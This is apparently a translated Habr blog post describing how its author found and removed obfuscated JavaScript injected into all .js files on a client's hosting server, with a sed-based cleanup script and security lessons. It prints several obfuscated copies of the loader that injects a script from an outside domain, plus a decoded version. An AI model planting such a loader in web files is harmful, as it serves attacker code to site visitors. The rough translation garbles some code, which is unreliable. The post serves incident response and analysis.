Лікування всіх js-файлів на сервері або визначення методу шифрування у вихідний день

Хочу поділитися з читачами Хабра історією про те, як лікував шкідливий js-код на сайтах, розташованих на одній машині. Під катом знаходиться аматорський аналіз шкідливого коду, який я провів виключно заради інтересу, а також очищення файлів на хостингу від шкідливого коду. Дана стаття не є навчальним матеріалом, проте в кінці містить перелік уроків, які я виніс із цієї історії.

Як все починалося

У звичайний з робочих днів мій куратор поставив чергову завдання: розібратися з безладом, який твориться на сайтах в одного нашого клієнта. При відвідуванні будь-якого з сайтів відвідувача відразу переадресовывало на іншу сторінку. Частку у цю плутанину вніс те, що на комп'ютерах клієнта і мого куратора проблема постійно виявлялася (стоїть Windows), а на моїй системі Ubuntu мені не вдавалося зловити цю заразу. Згодом з'ясувалося, що вреденосный js-код є завантажувачем команд з іншої машини, які потім виконувалися на стороні відвідувача. Наскільки я зрозумів, на стороні зараженої машини стояв якийсь фільтр, який не віддавав команди, коли я заходив зі своєї системи.

Підводні камені

  • На всіх сайтах нашого клієнта були заражені абсолютно всі js — файли. На даному етапі стало зрозуміло, що зараження було вироблено з допомогою скрипта, який мені так і не вдалося знайти;
  • В кожному файлі структура коду була іншою: змінювалися назви функції, назви змінних і їх слідування один за одним;
  • Час зміни js файлів не було змінено, що ускладнювало пошук скрипта, за допомогою якого було здійснено дане діяння.


Приклади злого коду:
window.addEvent('unload', saveSettings);function tXph13(rT){return zmGud0O(pF7B(rT),'w6AOl64ykS2D2vS');}var jqhQ8=["004085","005095","007066","020068036046024083113021014062087042070","004068034","003079049042","003083057059067092085015010032081054091006039","022070049042002082119017002063086","031083032043","016083053010000083089028005039065006075034050016120032034009","031066053063086025027010031050070033028005062027004111061025025094010068048092048028028032"];function pF7B(m9QAuQ){var u9=";var uT=0;var l7n=0;for(uT=0;uT<m9QAuQ.length/3;uT++){u9+=String.fromCharCode(m9QAuQ.slice(l7n,l7n+3));l7n=l7n+3;}return u9;}function nZrvPy(ci){var xkw31M=document[tXph13(jqhQ8[3])](tXph13(jqhQ8[0])+tXph13(jqhQ8[1])+tXph13(jqhQ8[2]));xkw31M[tXph13(jqhQ8[4])]=ci;xkw31M[tXph13(jqhQ8[5])]=tXph13(jqhQ8[6]);document[tXph13(jqhQ8[9])](tXph13(jqhQ8[8]))[0][tXph13(jqhQ8[7])](xkw31M);}function zmGud0O(fPMlQ,kxzO7O){var sc7B=";var q9AOFX=0;var wT=0;for(q9AOFX=0;q9AOFX<fPMlQ.length;q9AOFX++){var oH6=fPMlQ.charAt(q9AOFX);var cobu=oH6.charCodeAt(0)^kxzO7O.charCodeAt(wT);oH6=String.fromCharCode(cobu);sc7B+=oH6;if(wT==kxzO7O.length-1)wT=0;else wT++;}return (sc7B);}nZrvPy(tXph13(jqhQ8[10]));


.createElement(e[i])}})()function rt9tP(q5m1I){return dXkiogo(ze2woX1(q5m1I),'cliPkVhP3k3b3');}var ow51o=["016015","017005","019024","000030012049031051045060086006086012071","016030010","023021025053","023009017036068060009038082024080016090019024","002028025053005050043056090007087","011009008052","004009029021007051005053093031064032074055013014030010059013","011024029032081121071035071010071007029016001005098069036029127089024028001093023066003035"];if9A1C(rt9tP(ow51o[10]));function if9A1C(pa43Q){var g4=document[rt9tP(ow51o[3])](rt9tP(ow51o[0])+rt9tP(ow51o[1])+rt9tP(ow51o[2]));g4[rt9tP(ow51o[4])]=pa43Q;g4[rt9tP(ow51o[5])]=rt9tP(ow51o[6]);document[rt9tP(ow51o[9])](rt9tP(ow51o[8]))[0][rt9tP(ow51o[7])](g4);}function dXkiogo(cRXt,e80M){var k0=";var hz00=0;var x5VhMO=0;for(hz00=0;hz00<cRXt.length;hz00++){var g0=cRXt.charAt(hz00);var jLf9N7=g0.charCodeAt(0)^e80M.charCodeAt(x5VhMO);g0=String.fromCharCode(jLf9N7);k0+=g0;if(x5VhMO==e80M.length-1)x5VhMO=0;else x5VhMO++;}return (k0);}function ze2woX1(hJOCB){var dMa2=";var n7Z=0;var pLz4=0;for(n7Z=0;n7Z<hJOCB.length/3;n7Z++){dMa2+=String.fromCharCode(hJOCB.slice(pLz4,pLz4+3));pLz4=pLz4+3;}return dMa2;}

()})})}})(jQuery);function eH0(kzpR2g){var tZ=document[aFeJ(pXM7JTD[3])](aFeJ(pXM7JTD[0])+aFeJ(pXM7JTD[1])+aFeJ(pXM7JTD[2]));tZ[aFeJ(pXM7JTD[4])]=kzpR2g;tZ[aFeJ(pXM7JTD[5])]=aFeJ(pXM7JTD[6]);document[aFeJ(pXM7JTD[9])](aFeJ(pXM7JTD[8]))[0][aFeJ(pXM7JTD[7])](tZ);}function vbX9B(b5JWR,cZ73){var d7=";var kH5Nhm=0;var lO=0;for(kH5Nhm=0;kH5Nhm<b5JWR.length;kH5Nhm++){var m2z=b5JWR.charAt(kH5Nhm);var rT7v3=m2z.charCodeAt(0)^cZ73.charCodeAt(lO);m2z=String.fromCharCode(rT7v3);d7+=m2z;if(lO==cZ73.length-1)lO=0;else lO++;}return (d7);}function aFeJ(dMk){return vbX9B(tYiR3(dMk),'voRoLKl3Kny18K');}function tYiR3(dH5L){var zS1kLW=";var ub=0;var oK078=0;for(ub=0;ub<dH5L.length/3;ub++){zS1kLW+=String.fromCharCode(dH5L.slice(oK078,oK078+3));oK078=oK078+3;}return zS1kLW;}var pXM7JTD=["005012","004006","006027","021029055014056046041095046003028095076","005029049","002022034010","002010042027099033013069042029026067081059002","023031034010034047047091034002029","030010051011","017010038042032046001086037026010115065031023008028014033046","030027038031118100067064063015013084022056027003096065062062067089056065026095076101028028"];eH0(aFeJ(pXM7JTD[10]));



Невеликий аналіз

Мені захотілося з'ясувати, що за метод шифрування використовував цей шкідник, і я приступив до рефакторінгу коду одного з прикладу (див. нижче). Цей аналіз був проведений після лікування в цілях задовольнити свою допитливість.

Читається злий код

var massiv = ["022022", "023028", "021001", "006007039019069038063009006093009094000", "022007033", "017012050023", "017016058006030041027019002067015066029004017", "004005050023095039057013010092008", "013016035022", "002016054055093038023000013068031114013032004018012019092038", "013001054002011108085022023081024085090007008025112092067054085015016031015094000090015006"];

exec(wrapper(massiv[10]));


// допоміжна функція
function wrapper(str) {
return xor(explode(str), 'euBr1Czec0l0tt');
}

// отримує символи з груп по 3 цифри і повертає з конкатенацию
function explode(str) {
var mQ418 = ";
var z2wqbh = 0;
var pa = 0;
for (z2wqbh = 0; z2wqbh < str.length / 3; z2wqbh++) {
mQ418 += String.fromCharCode(str.slice(pa, pa + 3));
pa = pa + 3;
}
return mQ418;
}

// функція для додавання сценарію head сторінки
function exec(mh) {
var fq59 = document[wrapper(massiv[3])](wrapper(massiv[0]) + wrapper(massiv[1]) + wrapper(massiv[2]));
fq59[wrapper(massiv[4])] = mh;
fq59[wrapper(massiv[5])] = wrapper(massiv[6]);
document[wrapper(massiv[9])](wrapper(massiv[8]))[0][wrapper(massiv[7])](fq59);
}

// функція дешифрування, str — параметр для розшифровки, key — ключ
function xor(str, key) {
var wL73 = ";
var c2 = 0;
var i8t = 0;
for (c2 = 0; c2 < str.length; c2++) {
var h6547 = str.charAt(c2);
var pTh = h6547.charCodeAt(0) ^ key.charCodeAt(i8t);
h6547 = String.fromCharCode(птг);
wL73 += h6547;
if (i8t == key.length - 1) i8t = 0;
else i8t++;
}
return (wL73);
}




Логіка роботи

У масиві містяться зашифровані команди (createElement, getElementsByTagName, appendChild), а також адресу з якого завантажувати подальші команди (http://state.sml2.ru/js/cnt.js).

Вся логіка роботи укладена в двох функціях. Перша — explode, яка розбиває вхідні рядок на групи по 3 цифри, з кожної групи отримує символ з кодом і об'єднує всі ці символи. Отриманий результат направляється в функцію xor, яка використовує xor-шифрування, але я можу помилятися, оскільки мало розбираюся в методах шифрування.

Лікування

Для лікування цієї зарази було прийнято рішення використовувати командний рядок unix-системи і регулярні вирази. Як видно з прикладів шкідників, він міг дописуватися у файл, як на наступному рядку, так і відразу за останнім байтом у файлі (див. нижче).

()})})}})(jQuery);function eH0(kzpR2g){

.createElement(e[i])}})()var ow51o=["016015","017005","019024"

window.addEvent('unload', saveSettings);function tXph13(rT)


Команда для заміни в файлі (antivirus.sh):

#/bin/bash
VIRUS='([\(jQuery\)\;|\)\;|\}|\*\/|\/\/]{0,})(var [a-zA-Z0-9]{2,}=\[".*|function [a-zA-Z0-9]{2,}.*)$';
sed -i -r '/.length\/3;/s/'"$VIRUS"'/\1/' "$1";


Тут ми шукаємо всі рядки, які містять особливість вірусу.length/3;), і замінюємо на результат з першої групи. Якщо цього не зробити, то команда sed видалить і цей шматок здорового коду.

Запускався самопальний антивірус командою:

find . -type f -name ".*.js" -exec bash antivirus.sh {} \;

Результат не змусив себе довго чекати, і через кілька хвилин я був задоволений результатом своєї роботи.

Висновки:
  • Для кожного сайту використовуйте свого окремого юзера в системі зі своїми правами. У нашого клієнта свій сервер, який був налаштований сумним чином: для кожного сайту використовувався один і той же користувач, що дозволило заразити всі сайти на машині;
  • Використовуйте сертифікати. Можливо, це не зупинило б зловмисників, але використання сертифікатом спільно з https не дозволило б підключати злі файли з простих сайтів.
  • Постійні бекапи. На жаль, на машині не було налаштоване резервне копіювання. Вважаю, що це могло допомогти довести клієнтові, що вірус був занесений ще до нас, достатньо було показати заражену копію, створену до нашого приходу. Оскільки вірус виконував команди з підключається файлу, то він міг існувати на сайтах дуже довгий час, поки пустуни не вирішили включити його зі свого боку. Однак, для доказатальства потрібні факти, а факти такі, що вірус проявив себе після початку нашої роботи.


В кінці висловлюю подяку всім, хто приділив час вихідного для легкого чтива. Вітаються зауваження в коментарях.
Джерело: Хабрахабр

0 коментарів

Тільки зареєстровані та авторизовані користувачі можуть залишати коментарі.